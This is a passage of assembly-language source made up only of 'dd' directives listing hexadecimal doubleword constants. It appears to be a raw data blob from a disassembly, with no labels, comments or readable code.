		dd 17CAC6D8h, 0B8247155h, 34D01024h, 77B25202h,	0C841C280h
		dd 0E9146E50h, 4054B2EFh, 911BAE9h, 424C9333h, 0FB0082FEh
		dd 0E940EF74h, 0D1264BA0h, 24D219FBh, 99AA5703h, 0B7F4C63h
		dd 1EE64931h, 63356B68h, 0D64ABDE8h, 0A2AEBD0Ah, 0C9165F66h
		dd 98CE144Ah, 42DE3110h, 7B0D6922h, 67CE28DCh, 74C32BB8h
		dd 3C24EE13h, 0D010213h, 8DB1DBCh, 52402A25h, 60F62B68h
		dd 0EBB20C65h, 629D9DD6h, 0D94CC2AAh, 11B71035h, 0A78474E9h
		dd 0C52FF8A0h, 40AFA3C8h, 150A2D20h, 50003A8h, 65662318h
		dd 6685651h, 0FF97CF5h,	454FB85Eh, 0E90945DBh, 655638A1h
		dd 4F6BBE81h, 74203793h, 530DC06Fh, 8B05C668h, 0F6D1744Ah
		dd 0BB006073h, 0AC144FCEh, 7D834369h, 0D7031826h, 0D6B60F8Ch
		dd 0F8154194h, 0BCC0B11h, 4866DB3Ah, 43859031h,	25A6B632h
		dd 4BA561EDh, 0D20768FCh, 0BB680BA9h, 2913ADCh,	0F2C0EA50h
		dd 0C2074AA7h, 881C328h, 7BC23EE9h, 9684A627h, 0F709F691h
		dd 8257D8FDh, 0C058C7F2h, 0C3428494h, 5550F757h, 0FA017CE0h
		dd 0C060C2FAh, 5BA82C3Ah, 3B0FE51h, 0F64704F3h,	53FBFED0h
		dd 7653CC6Bh, 59680E7Dh, 90898C37h, 74EED917h, 0F292FC97h
		dd 2032750Bh, 576A3CC1h, 0ECCFB4F9h, 6CA2271Bh,	2C4227Bh
		dd 6816B490h, 0D9F35EB2h, 0C8FEA20Bh, 0BB448685h, 0B4329639h
		dd 7310310h, 275B48BDh,	3E69D689h, 2B11EC9Bh, 0C257D7F2h
		dd 0A90BC186h, 56C0256Ah, 0B454E8D2h, 7A36C500h, 4E0148EEh
		dd 766A61D9h, 0DABE00A6h, 0ABD2768h, 6CA73B73h,	7C22593h
		dd 0BA9F5E66h, 1320D8BAh, 5FE1B9E9h, 0A99F59CBh, 857B58h
		dd 0A5CEB30Fh, 36F6D628h, 0C9D6809h, 0E90A6371h, 40A58B82h
		dd 4CBD30BEh, 0B3029B72h, 0F701AE41h, 0A602E950h, 0E93F9C6Ah
		dd 681E487Eh, 0A5E00B6h, 0E1815914h, 0D8306E16h, 3890C23h
		dd 43F7CF8h, 7071F5F1h,	2E5BFC1Dh, 0EA25164Eh, 91F354B3h
		dd 6E95764Bh, 2147BF4Ah, 0C7025693h, 0DECBCAE9h, 41748018h
		dd 42BB083Dh, 50FC213Ch, 287E44CEh, 7A12048h, 10012FBEh
		dd 92748629h, 278F98CBh, 7790AFADh, 0EEE4F530h,	965308C9h
		dd 0EA832DAEh, 0A5947764h, 99F3E344h, 4DC5EF00h, 0FD892850h
		dd 0EE015F12h, 0A74CAACAh, 9E1FE982h, 81D88BA4h, 3E37699Ah
		dd 9CBE2D33h, 6B0936A3h, 56025B09h, 0B507A6B0h,	56EB2872h
		dd 65253AEBh, 0E9589CF9h, 0EDB4CEh, 516A68B9h, 0E14BD154h
		dd 1DA57188h, 53658E2Eh, 4B87F8FFh, 8A300C8Dh, 5A0979B2h
		dd 3F5ECD1Eh, 92C01F84h, 34F652C2h, 0FD7EE1D3h,	0D50C747Bh
		dd 0F7EA78E9h, 0C15E3BF2h, 0FA26CAC8h, 0BC4D9B44h, 565244F4h
		dd 3DC42080h, 0E96038F5h, 0F6CE5325h, 6AE5E9A1h, 1878F5C9h
		dd 1FA0D589h, 85121BB8h, 0BCF13E5Ah, 3DD15A47h,	0F69862A2h
		dd 0BFE96805h, 0F6CA4B4Eh, 8E93364Ah, 0D517A00Bh, 23A841Eh
		dd 29191500h, 3B7BE96Dh, 0EBFEF29Ah, 0AC7F84C6h, 0AF584D12h
		dd 0B62CB40Bh, 8747638Ah, 85386203h, 5B0AFD30h,	5AD758C0h
		dd 332B5C39h, 31762020h, 8CC56597h, 0F33B15D4h,	0E36CA616h
		dd 2DEBD100h, 26712674h, 801A37E9h, 0B80860BFh,	0EFBC4F23h
		dd 1C00E71Dh, 38E969E1h, 0FD8880B1h, 0B924FB98h, 0F9A0B6ECh
		dd 3E15640Fh, 23979E0Ah, 815856B7h, 344A3F2Dh, 26906AF8h
		dd 0DE5E0BCBh, 3A74809h, 2E472166h, 0A7C708D9h,	1BAEB064h
		dd 3DBB805Ch, 9AB2114h,	0E51450A7h, 8B72B84Dh, 205ACC52h
		dd 6818C9F4h, 5415711Bh, 0DFEBAC13h, 2D3D1C6Dh,	0A1E04BBBh
		dd 0E64BB652h, 56C98DF2h, 0B32AB4D6h, 2A2C9E95h, 0E8EEC1E9h
		dd 0BF609FEEh, 0F20E490h, 5F38B03Ch, 325324E3h,	305E6D61h
		dd 4F86525h, 0A87AE168h, 7BD9C034h, 35814CCEh, 0B10DDDF2h
		dd 40ED6C59h, 0EF4AF075h, 1EC4CEA4h, 0C933BA47h, 656B6B7h
		dd 4A6B6E81h, 0C7DB015Dh, 580208EAh, 0D569DA68h, 9060F132h
		dd 0BB767433h, 0DF4F7E04h, 60944CE9h, 87A07FA8h, 0D169F7CAh
		dd 0A46A5B08h, 0FEE959F8h, 0B6281DDCh, 0E381613h, 19EFED00h
		dd 4A396C28h, 5CFA134Fh, 5DF4C656h, 0C205C8C5h,	35B11AB4h
		dd 0EA2899BCh, 3C8B2F08h, 1F2E674Dh, 0AC4E3693h, 13A6DFC1h
		dd 0AD741C03h, 0FDC9B033h, 2B2C2747h, 8AE964E0h, 783F2169h
		dd 8CB93FE3h, 34F0092Dh, 40C76263h, 243E0591h, 427A73h
		dd 0F63360C2h, 0D65AF730h, 844CCF80h, 0F0215A01h, 0FA01E62Fh
		dd 0E91FB164h, 9580B42Ch, 1C2D02E8h, 80957262h,	0E09E25B4h
		dd 76049745h, 0A409AE31h, 0A11396E8h, 27666688h, 326AA500h
		dd 0ADFBE94Eh, 0C014D383h, 0E6890FF0h, 672C75Eh, 87013483h
		dd 0C346EBEFh, 288641Fh, 2B9ABC09h, 9C17666h, 7C4C0196h
		dd 850DE232h, 2C29778Ah, 98506DFCh, 9BEA8841h, 7AD94413h
		dd 26DA4A08h, 49F8245Dh, 0E989EA5Bh, 0A1702FCCh, 2B8B126Bh
		dd 14CDC42Bh, 0D15A5A07h, 30E829D6h, 929FEDF5h,	0CF27C063h
		dd 95987535h, 0DE65BFA9h, 4FFC5812h, 0B2C7305h,	3977C050h
		dd 0C48AA5Bh, 58CA3E9Ah, 410C60D3h, 6D7B82Bh, 0AA214EBAh
		dd 0F502D85Ch, 1238020h, 44042CAh, 0A7B85908h, 1332EA40h
		dd 11E54Ch, 1F38ABCEh, 0F620E929h, 0E0F5A0B7h, 72660196h
		dd 0DD7A45BEh, 87D02E0Dh
		dd 2618FFEEh, 23A628Bh,	0A4F9120Fh, 0B288095Dh,	88FA7C63h
		dd 17A4516Dh, 0D5C4E006h, 4010FC2Fh, 66015A09h,	50E58058h
		dd 0C0DEDDF6h, 80DF440Eh, 0F991DA31h, 99B1E961h, 7CDAEC35h
		dd 18484956h, 9EB77825h, 0E5CE9F65h, 3A80974Bh,	0F41CC80h
		dd 0E4D0DCF6h, 1D27888Bh, 0B96A87h, 17105EEh, 272D6849h
		dd 6249877h, 11642710h,	0C1E55D70h, 0C4AF2822h,	112B609h
		dd 0E6808BFDh, 0C3FCEC07h, 0F0B4E495h, 0AF05BD87h, 3B778153h
		dd 9F800420h, 105E56DFh, 41D90177h, 4F2D3608h, 0E9820DA2h
		dd 9DE8BE3Ah, 893D58C7h, 8BD92FF8h, 0A768FB72h,	5816BC72h
		dd 0D54220E9h, 0AF421F68h, 5DDB0475h, 1EDD30EFh, 5A1D4812h
		dd 2089BBBDh, 1913943Fh, 73E42EE9h, 86930754h, 0A0475B25h
		dd 0A203CF6Eh, 0D15D101Ah, 4A1004EFh, 0D07FA746h, 0C18E9C5h
		dd 73DCE4BFh, 381D0B81h, 45837302h, 819C4BAAh, 0B2C5E8h
		dd 7986DBF6h, 850A4BD3h, 0B5FAECCBh, 6987749Ch,	89F33C98h
		dd 10850EAh, 0F58006A1h, 0D2760698h, 83A5C53Ch,	0E5D052EDh
		dd 0F60590C0h, 161AC9D5h, 7146F0Ch, 5866CDF0h, 701CD62Ah
		dd 59E83837h, 68D82884h, 9130EA93h, 4FF671B7h, 0B6D328D7h
		dd 2C800F3Fh, 5A1D575Bh, 22B2EF8Fh, 0D666A9C7h,	0CBF8B86h
		dd 0D7A053CEh, 360A5A45h, 0A3FB0166h, 66990820h, 68A530C9h
		dd 0D9888042h, 0B5F31EEh, 7FFA1DE4h, 36E22C5Fh,	827ECE05h
		dd 32E9164Bh, 169FE2D0h, 532995BDh, 8D14307Ch, 39E90BB8h
		dd 0A52B5B1Ch, 0E989E9F1h, 5C8D50A1h, 865C8C59h, 0D0685A04h
		dd 0C4C7A803h, 0B0164EA3h, 404FC297h, 0A7E0ABC1h, 2FCB346Ch
		dd 0CFFEC2A2h, 0BF56A584h, 284C1E1Fh, 0E12C28EEh, 0AAD98EE2h
		dd 941A1C3Eh, 85A2DFCBh, 0A50F7DB1h, 7DB95560h,	79706A04h
		dd 6589C04Bh, 170BF07Bh, 9619F2E9h, 0C9342FF3h,	0D5814E6Ch
		dd 0D304225Fh, 404C300Fh, 0EF0D60C7h, 1262000Bh, 0E70FED2Dh
		dd 0C2258972h, 53824158h, 66B3A62Bh, 0E1D463DAh, 0BD098230h
		dd 6AECEEE0h, 8601F4F0h, 3058E688h, 0A77866F0h,	0A0D7E9C5h
		dd 0F6ED5C14h, 2AE1BE93h, 0D00CA5DDh, 96DB2227h, 113A080h
		dd 0A0E10C4Fh, 0BC4D252Bh, 56FB06B5h, 81D074C5h, 2C6A2906h
		dd 5F628903h, 0D6D231BCh, 17BD248Eh, 0E949899Dh, 56D9F75Eh
		dd 78BF4849h, 27524C10h, 0D0A78C0Fh, 24F0EC73h,	89383153h
		dd 8B7E394Ch, 41D521E1h, 630D1F7h, 8F981F64h, 0DF728CDCh
		dd 86A60C69h, 0E2481929h, 7A904902h, 87BEE0BAh,	23941E06h
		dd 7EFE0F52h, 13296E85h, 47EF8C5h, 19E1BAFh, 7B74CBAAh
		dd 7CDBEA48h, 13586001h, 0F3A6E94Fh, 4AFECE34h,	2644B76Ch
		dd 0B981F90Dh, 0C317F887h, 579EBC8Fh, 200B1DEBh, 92D01E0Ah
		dd 0CA4C915Fh, 228005A2h, 0BC231F51h, 0A640145h, 605D148Dh
		dd 5B77E0Bh, 0C082435Ch, 0CC985F0Eh, 0E9830C76h, 0A18DDB3Ch
		dd 0E3153802h, 199D0B48h, 2D0C40D8h, 7253F52Ah,	0E95781D5h
		dd 0E76C9B50h, 0BB169EC5h, 95AF6F61h, 0EEF1B781h, 0ED1F2049h
		dd 0C46DA092h, 77E0AC09h, 2FFE7EB8h, 0B9DC970h,	3DC92004h
		dd 0B8F707EDh, 5FD909E6h, 4747B3Bh, 48C8003Ch, 61350AD3h
		dd 8BAA0137h, 7FE9C529h, 1E7D540Ch, 0B65DC1AFh,	2FC831A0h
		dd 0BBAF998h, 5191AE25h, 48271EFEh, 1E72C683h, 0C8204149h
		dd 5E17F895h, 0F713D18Eh, 10E605E1h, 9172FE07h,	181AA2Eh
		dd 56430AC2h, 0A89C89F6h, 0F78F68FBh, 0D1F500D5h, 6313CA09h
		dd 0C5C80E45h, 2089A5C1h, 0B90751A4h, 64FD0CF2h, 769A1182h
		dd 0F9246FD4h, 66FC90CEh, 8CC6C83Bh, 0ECC994E8h, 0D72B4B52h
		dd 0E038D5F9h, 0DD985B40h, 676F6816h, 0D7D6F7ACh, 5BDFF197h
		dd 8A322F5Eh, 25AF0A87h, 8BF70E41h, 482D5834h, 5400Bh
		dd 0BC81FD08h, 512BBD55h, 4D71ED12h, 2105CF2h, 8D2D02AFh
		dd 0C175F83Bh, 0F700498Bh, 0F22881DAh, 0E9809A3Dh, 0A5129EEAh
		dd 6717105Ah, 0DCAA2B4h, 42D2F759h, 141B0206h, 0E929F6E0h
		dd 0D24C5F25h, 20590FF6h, 0A8923202h, 985C105Fh, 49A0351Eh
		dd 8680997Ah, 5D20528Ch, 8083DA95h, 4B685808h, 894AC2BDh
		dd 97481475h, 0E95435B8h, 0CF0B9330h, 6C281D2h,	21144F9h
		dd 8A02A642h, 896CAC36h, 0CDD063D6h, 680BC6FCh,	0C45E1480h
		dd 0CA0D4BD3h, 0E90D614Fh, 0CB2E3ABCh, 0D5845E0Fh, 66B29BBCh
		dd 0CFC710D7h, 49C38993h, 2C89ED99h, 59F75FE2h,	305F0D30h
		dd 0C32E80D3h, 0C52CF2F5h, 7CCD3418h, 52D1034Ch, 0A3C98159h
		dd 83438DE1h, 0E64FE0Ch, 58E9E06Ch, 0C2E65F20h,	54C8C888h
		dd 1B497868h, 7009E4Ah,	57E93CE8h, 496B9DFDh, 82CA5AB2h
		dd 501226F3h, 0DAD0CD0Fh, 2F6D560Ah, 0C36237F2h, 0B21DE63h
		dd 7A2D1E91h, 3EC081D4h, 0F3AD4757h, 0D0831C6Bh, 0CBFE13B4h
		dd 13FA1208h, 24BA48Ah,	78B55103h, 9CBED80h, 0E2E9FD06h
		dd 6655E362h, 124424B4h, 135BC2A5h, 51D1B4F6h, 0C8BA03Ch
		dd 59250A7Bh, 0DB38305Dh, 797B6545h, 0AEFDC727h, 0A369E2FFh
		dd 68704074h, 889D504Ah, 40B901C6h, 0EFE90F5Bh,	10D87222h
		dd 0C4CC10Dh, 0E49FC813h, 944FC19h, 130F90CBh, 0B0BE6FDEh
		dd 749205D1h, 0DE4ED635h, 483C10B1h, 0B933953h,	0C9790204h
		dd 0F1D72BEBh, 618F087Bh, 1DECFEB4h, 0A09A64B4h, 4A2DE915h
		dd 0C17E71B7h, 8630F586h, 4420E96Ah, 5AC57C15h,	6BFB0EFh
		dd 3751CF40h, 0BE7FA368h, 7AC4F0EBh, 4C6099F0h,	14DBC77Fh
		dd 4D447B32h, 0B901F67Ch, 408647A6h, 0D3722049h, 0C3A2E407h
		dd 2674CA31h, 366D69A1h, 17FA68C2h, 55B067Ch, 933AE026h
		dd 0E9C2024Fh, 5DD29C3Bh, 12820850h, 96739D2Eh,	0E4DD9F09h
		dd 0EFB70F76h, 6A8591B6h, 30958C25h, 0F568C312h, 5FDF8B93h
		dd 0B7F646Dh, 0B5D84CFFh, 0DEF74E12h, 273C2502h, 0BBF7400Ah
		dd 49C5BCF1h, 0C2317370h, 91A65541h, 25CBA938h,	9582CF0h
		dd 9D8D406Bh, 3D5F4B13h, 9EE8E858h, 3655274Ah, 0EB502C50h
		dd 164BE908h, 2BA7405h,	0FB5565EBh, 0E435BB4Eh,	6B846DB3h
		dd 0DB68C540h, 0C058796Ah, 0F4C8ED70h, 895AF0D1h, 2059B2Ch
		dd 2F490B76h, 0C1D0D8F7h, 7A00A2F4h, 0BA520908h, 1B95A5Bh
		dd 63E2811Bh, 80314A20h, 7677FE0Ch, 1FBB5351h, 7EDB5C16h
		dd 0BF2E302h, 947015EEh, 982C6BBDh, 0E50DC729h,	2D67A02Ah
		dd 8753BF0Bh, 9644225h,	0EB0E8E07h, 0EA4F54D1h,	61F91753h
		dd 4CA760C7h, 0FC2568FAh, 8BCA517Fh, 13D42C11h,	4642E167h
		dd 0A4C06243h, 0FB815065h, 498BF43Bh, 1C085EF1h, 0E10444DEh
		dd 0F6CB6FE5h, 390F277Fh, 1A4556C8h, 3465E026h,	202FAF03h
		dd 0E4184E51h, 0C432E971h, 234BFA3h, 0FE02BC03h, 4128C2CAh
		dd 0E123EBB8h, 0C0C6FEC2h, 0A820D978h, 9E6814DCh, 6A85701Fh
		dd 709A31Ah, 5FF5C3Ah, 80A3C5D3h, 4B37E9FAh, 57DA2007h
		dd 0EDF5F0BFh, 0DE9D307Eh, 9E857131h, 9C231C45h, 0BF59F140h
		dd 0F3508907h, 8511E46Ch, 0D64F712Bh, 669F2CFFh, 0C3E9150Eh
		dd 0F302A39Dh, 0D7BF42BEh, 0F3FD2FFFh, 0D49EE227h, 0BE449DAh
		dd 0C02CC6B9h, 4A59CD73h, 0D3EC915Ah, 0F85D8736h, 88E23C2Dh
		dd 240EDD5Dh, 49E908A1h, 9C493435h, 8CA8951Bh, 2FDDE945h
		dd 0A8E41AA5h, 0D71E890h, 694E6D9Ch, 6B8A71DAh,	0F0DBAA9Ah
		dd 8E160FEAh, 0D2FC6084h, 305807D9h, 985EDC31h,	0A1DD2DE3h
		dd 2302C44Ah, 0E10DFE10h, 0D8127A7h, 1372F905h,	2DA32011h
		dd 0ACE907A0h, 1207464Dh
		dd 64AE671Fh, 56D20058h, 0E920063Eh, 32276826h,	9D056F87h
		dd 0BDF80BBh, 0C14B3F6Dh, 7C3BA30Ch, 0D07A8016h, 0E97BDC3Dh
		dd 7899D88h, 1F025ED4h,	43112C14h, 7D85F3A3h, 0C6BEEC3h
		dd 50FF01A4h, 2E050978h, 0D3F7339Ah, 31CB8DC0h,	0E9B54C2Bh
		dd 0FBCFF302h, 89DDCCF5h, 5D5903AAh, 0A8DC515Bh, 42EF9F04h
		dd 0D5FDE9F6h, 0D60B0A5Bh, 70F974A7h, 112B968h,	0CBFC505Dh
		dd 0AAF2854Fh, 40120928h, 38B45C30h, 0C85DC3h, 0D0CE865Ah
		dd 91B050E6h, 0C03A0C00h, 63403E0h, 9EAAEAE9h, 3606C997h
		dd 0BB0414ABh, 41653DD8h, 4D043EEDh, 0C062B4A4h, 0CD7BF614h
		dd 0EE94609h, 0D3937CACh, 0DA8AAA4Fh, 8455E25Bh, 1133260h
		dd 3965A811h, 8F21EC72h, 825C5CCFh, 0F14E0D68h,	26FB4B51h
		dd 60B85000h, 0BF5F1C3Eh, 5E4638C0h, 802BE03Ah,	2A513A27h
		dd 5A5FA2Dh, 0C501A152h, 7964F358h, 0BF16A59Dh,	444A9EECh
		dd 13FDF548h, 0C2CDAEA1h, 58DAC8AFh, 50076817h,	71640C60h
		dd 0CE2D5802h, 0BF99262Fh, 0A7173F57h, 414897E3h, 0A05CF8C9h
		dd 0E5F0269h, 0E23305BFh, 0E7680954h, 40931A58h, 280E2687h
		dd 0ECD03980h, 107F768Eh, 2FA41EE9h, 0E539C130h, 4844B900h
		dd 276BED3Dh, 591B8735h, 0C0EDD804h, 0E81D6912h, 87688207h
		dd 62EA9A71h, 0DA995710h, 13693884h, 50F28D7Fh,	0BD0ABC64h
		dd 21310779h, 90B4E416h, 291D1AF8h, 41B5D2EBh, 3C0DB96Fh
		dd 980E706Eh, 748B069h,	45CFCA24h, 0EA215Dh, 40AEF8Eh
		dd 894B0809h, 5DE98AB4h, 0C045FFFCh, 3AE42D6Fh,	5468D8D8h
		dd 7CE9A15Bh, 6669BDB1h, 6B4D2602h, 4211DEDFh, 9A5D8D0Fh
		dd 2CFAC280h, 99350C9Eh, 9B642BDh, 650685C1h, 0DB933A88h
		dd 0CBB69FB4h, 30AE040Ch, 0BD4FE9F3h, 0EAD3975h, 0DB04BE68h
		dd 40B9D0D1h, 7F01FC77h, 0E670C9C8h, 0D85732E1h, 25BF2F43h
		dd 0FAC22CC1h, 0C8E40D8Ch, 875A0C88h, 0A7C54EA2h, 0EA221E8Ch
		dd 0DFF72AF9h, 1FE87CB3h, 0DAF901FBh, 19C037A6h, 66383725h
		dd 72EEBC29h, 0D7CA08A2h, 74D76D41h, 0AAAD5FEEh, 0E9C33001h
		dd 0BD48B8CEh, 546E130Eh, 2D6CA34Ah, 89B7E751h,	51712AC7h
		dd 14C44888h, 199ECE59h, 0E0445DD9h, 137A1F08h,	6C297017h
		dd 0CD038A8h, 4135D32h,	1604444h, 0ADE95111h, 504ECAFEh
		dd 291770A4h, 0D295E49Fh, 7E18F372h, 12B1F195h,	676CFFEEh
		dd 47393168h, 62166355h, 459B064Ah, 30C7804h, 85FA9D50h
		dd 6C00CB01h, 0AE2386C7h, 52DAE949h, 0C27309Bh,	746B56D1h
		dd 18E96169h, 106A26E0h, 100F0F2h, 0D4EB81C3h, 157D4E17h
		dd 7A087627h, 5EDE3AC7h, 40C8B072h, 5F050503h, 484DEE63h
		dd 0E98575B8h, 0D2D7A08Ah, 0E235E895h, 225F8297h, 1045C4C3h
		dd 0A820E928h, 0EE21ED2Eh, 4B7BE12Ch, 59A0052h,	0D5F950FCh
		dd 0EAF8E098h, 8F27449Eh, 0E58CB386h, 389E9A31h, 0E10FE4B1h
		dd 860C058h, 5080B252h,	0E2E0B47Dh, 0D15C20F8h,	0E980B090h
		dd 2F8295BAh, 0B1FFCBF3h, 8B2F54FBh, 4EE913DFh,	0DDB8B185h
		dd 8266A2D6h, 5F561668h, 0A45D6816h, 59BE0255h,	5839A664h
		dd 0C0F602EBh, 465CE371h, 0EB4A7A78h, 1587B80h,	0A8DDF1FBh
		dd 3395322Ch, 0B26709A5h, 5C41E25Eh, 0E1348566h, 448A5B9Eh
		dd 128124Ah, 0C23BEAD1h, 0A159D642h, 104D6883h,	0F2007966h
		dd 812E2B43h, 0D14F8E1h, 179C0E61h, 11659111h, 225093B8h
		dd 95C78EAh, 1EB8331h, 3E523600h, 0B4B81A19h, 0D04BAD09h
		dd 60C96217h, 3C75C371h, 0E6AF5A30h, 0ADC63268h, 78604A70h
		dd 84C77B0Ch, 0F329122Ch, 0E909025Eh, 6876E38Bh, 5C5BC269h
		dd 3E034921h, 57D25119h, 883ECC4h, 3D66ACFDh, 3A13CFE9h
		dd 97132EF6h, 3D64B315h, 95947C52h, 0B58A5A12h,	0AC3D6816h
		dd 31BBD261h, 69EAC4F0h, 5AD404EEh, 50BF4B9Ah, 6F50085Ch
		dd 0CB630166h, 58C3291Ah, 25917F5Dh, 4F0B763Dh,	5C0EE28Fh
		dd 0E9D346E9h, 0E02CD63Dh, 0F81525E9h, 9ABDA3DBh, 1332657h
		dd 2DE801B2h, 53C70C82h, 5DD4FC2h, 81AC196h, 0E914010Ch
		dd 2424DF84h, 0F6A4BF71h, 68CBEA2Ch, 1022B75Eh,	0F716EB80h
		dd 671000D8h, 41761D2Dh, 0DE188F98h, 0C18AA672h, 971C1F19h
		dd 0D9F74C40h, 0CA38731Eh, 8729AE33h, 0C4657C1Eh, 9588815Fh
		dd 593863Ch, 0D897BE8Ah, 130FB52Bh, 0CC83261Eh,	0BC97201h
		dd 77DD12F0h, 161B9204h, 4EB85B01h, 0C1ED3EB5h,	58441DD3h
		dd 0C16FEC31h, 57500868h, 22F5F27Eh, 514B284Ch,	6EC4D6E2h
		dd 0AF091203h, 0BAE5E087h, 5E96F928h, 0C3C10A4Ah, 0B06492EEh
		dd 8845B229h, 270576F4h, 6E6392FDh, 4D581AF2h, 6410F997h
		dd 25C4BCBFh, 97FA9E5Bh, 2E4A0571h, 0B112670Dh,	5A2DD200h
		dd 91505BA3h, 92B17133h, 5BAEEA8Fh, 0DEFA8A05h,	6817B26Ch
		dd 0A602C4h, 0C1DF5024h, 7BD805E9h, 42EC4FDDh, 0BC85998Eh
		dd 0AD09952Dh, 1210D6D6h, 2691824Fh, 9C58AC09h,	4BC740E3h
		dd 76BFE6C1h, 0C802CBAh, 74F22A68h, 0E4B2CBE9h,	55C2EEB6h
		dd 4F53062Ch, 0F84CD2C9h, 1ABD07CDh, 0A22E8732h, 89DE156Fh
		dd 412719ACh, 908D59EEh, 2FA9433Ah, 0CB53BB88h,	0C09214D0h
		dd 5D95A755h, 74E047C5h, 0D0C000B2h, 536650EAh,	521CDEB3h
		dd 0BDBDDA88h, 2C5B1D5Ah, 7B4FC1EDh, 18ED6971h,	0AAEB5382h
		dd 92FF2673h, 0C080C73h, 0DA7C038Ch, 0EDEE90Fh,	350E139h
		dd 0C780E3B7h, 0A54E5A97h, 55CE7FA8h, 2B16E909h, 5FB147Fh
		dd 0D86CEAEFh, 445EC36Eh, 0CEF11703h, 0DB23D554h, 0AD2D01F0h
		dd 7974932Dh, 1AB02075h, 0A9854E24h, 48E1D513h,	0C08740D4h
		dd 7067EB85h, 0DAA17977h, 0AE302F0Ah, 506C2248h, 96DDAB08h
		dd 4505008Fh, 10A5D49h,	72DC828h, 167F2AA2h, 0EC6815EBh
		dd 0BF007206h, 2C8639C0h, 73DE7C1h, 61326E9h, 21ECF40h
		dd 0AE4A6625h, 0AB1873C4h, 0E0B8BFDFh, 3715C1D3h, 38479464h
		dd 1CE9C402h, 60B954D0h, 15A0260Eh, 50011109h, 579C551Bh
		dd 0E092E92Dh, 0B15AF42Ch, 12463DEAh, 74FFFED2h, 0DBF10220h
		dd 0DDC01163h, 1A1FD8CBh, 0F3016A03h, 7D433866h, 8332C970h
		dd 12F55ACAh, 0DB8EC169h, 17960B68h, 54110DF6h,	0A0ADE765h
		dd 0E84E2980h, 9A999C1Eh, 5AB451F1h, 621DC0E9h,	8626C9DDh
		dd 9E391301h, 2DC95FFDh, 82CDDEBAh, 29D94564h, 89F4E575h
		dd 0BAE05551h, 3D2F2369h, 8139F03Eh, 5FF5107h, 6C77BB94h
		dd 0B10BB03h, 5D590B07h, 67B2804Eh, 2D47B438h, 0F945F031h
		dd 896BE904h, 68C211B9h, 0E56648D3h, 55899D9Eh,	0D177D454h
		dd 0B25C0287h, 854A84C8h, 32F96802h, 0C46476D6h, 8896C6CAh
		dd 164594F7h, 7B80C93Fh, 0D32FB48Fh, 9F6A347Ah,	8A33837Dh
		dd 9BDF100Bh, 0AD4DDF7Dh, 842E288Bh, 0D22CA203h, 7084CDADh
		dd 0C3800205h, 6E1F4407h, 0C88E2F88h, 1762C6C9h, 0BF0102D6h
		dd 78423733h, 7DCC1930h, 29710B7Bh, 2DFA5DEFh, 661AFCECh
		dd 5892B7BBh, 5427C08h,	87219EE2h, 0E896846Ch, 72F24B09h
		dd 0D6A20488h, 0E05B61B5h, 48E3CE6Fh, 95B4509Ch, 92E268E3h
		dd 0D0466091h, 0BFD27E32h, 0E911EC58h, 930B963Eh, 0C6E4F83Ch
		dd 0F119DC7Eh, 0DFCAAF04h, 40B7E913h, 55FABA6Dh, 9DB00E96h
		dd 54278B02h, 57D2F757h, 0A44A62E1h, 0E5005609h, 89408513h
		dd 0C5A4CD3h, 0FABF5702h, 0E7603049h, 28802271h, 0A3041ED8h
		dd 6F18652Ch, 0F398E0D0h, 0F7803F00h, 0F6C7FEE1h, 0F3EFF8D7h
		dd 4F30D6C8h, 2BD8F1F8h
		dd 9E7F69F6h, 665B2593h, 8F0BBCE8h, 79C1DA47h, 0CD0A5FE9h
		dd 7CA3AC0h, 7A62885Ah,	838849Dh, 0ADE41D84h, 6953FAAAh
		dd 0ED5E1A84h, 3A16755Ah, 82DBEAA1h, 3BFC8733h,	772F427Dh
		dd 0C6252BE4h, 0CF2DD915h, 5870BBC9h, 24B2E6B7h, 0C93BF32Eh
		dd 0EC76F04Ch, 0B0ACEB5h, 161D685Ch, 0E9247DCCh, 0ECAF2EF1h
		dd 0BD8E0C0h, 44BA6866h, 31B11249h, 0A6160F6h, 0A4FBA9B7h
		dd 0EA92B7F4h, 901CC0F1h, 5D7B1436h, 896D95Eh, 0B02D0E89h
		dd 8394A723h, 5BBC383h,	0A583B9ECh, 5CEA28EEh, 0DE5248h
		dd 19F76686h, 16ACF581h, 0B64B06Eh, 27A237BEh, 4064D25Ch
		dd 0EA8D5F55h, 8F6F33C6h, 1D51CCF8h, 592F95BFh,	61C2B54Bh
		dd 844E53D2h, 6601A5F3h, 0E936B450h, 65416E25h,	0E0A7AEDh
		dd 42FD8121h, 75638005h, 5B76FA08h, 1788C23Fh, 6BE4EB82h
		dd 9B5316D9h, 14F0B832h, 348F8F66h, 0E0259109h,	0C184FDFDh
		dd 1270EE1Eh, 4B5A5652h, 74E7EC89h, 0D9C7BBB5h,	0C869FDA9h
		dd 9DE3982Ah, 54ECD68Bh, 4EE9D909h, 0C208F487h,	0BA56417Ch
		dd 2BC3B9E0h, 0AC204ABEh, 0E781070Fh, 0B2EC628Dh, 7CB09F7h
		dd 780038D8h, 6391171h,	0FEFB292Eh, 0F5FE10A7h,	0B66EBFF6h
		dd 51E68102h, 72651373h, 30603C7h, 5DE93A07h, 0CE51AF32h
		dd 12FF5494h, 8490BD5Ch, 290390E0h, 17C2206Fh, 0B6528248h
		dd 0F328910Fh, 60C5695Ah, 9E555F67h, 0EEC8A9F1h, 177CC169h
		dd 0A112E91Eh, 7E0D389h, 0F6DD28Eh, 2217B85Ch, 985D3FE6h
		dd 80B7DBC8h, 0BC76EE81h, 10404248h, 4E76B3ADh,	0FEACA1EAh
		dd 2F596149h, 307F4A8Ah, 0EAA51C7Dh, 0F71D0AB5h, 14A4D106h
		dd 0B126BF00h, 391E05A6h, 0E04B5C2Ah, 259F235Ah, 30BAC2C5h
		dd 32201375h, 0CEE93E1Fh, 4A8852AFh, 0BBE100FEh, 6B4F36C1h
		dd 0A095C8F4h, 0B2010727h, 0BA52021Ah, 5237E8Fh, 0C199E077h
		dd 4064AE9h, 0E0E50222h, 0D27A76CEh, 2C17CD5Bh,	52432ECh
		dd 69570B78h, 0E9560980h, 0F1BC8231h, 0D6702849h, 0EEC01A02h
		dd 0FEC46208h, 82844B0h, 20FA288Ah, 5E5E1521h, 221CCA6h
		dd 599DB128h, 2E9E12Eh,	0D17E8BE1h, 0D22443E2h,	0A0B3FFAEh
		dd 91662D2Fh, 9A5434E6h, 0C6E630AAh, 2B170EF5h,	63840160h
		dd 4FA40816h, 29AFA8C7h, 5A59EECBh, 5563289Bh, 0ABBE5600h
		dd 812AD96Bh, 773C02CEh, 10E9757Dh, 0FEBAE048h,	572177C2h
		dd 0D530841Ch, 0B12B83A1h, 62C9F739h, 507F39A8h, 8041D839h
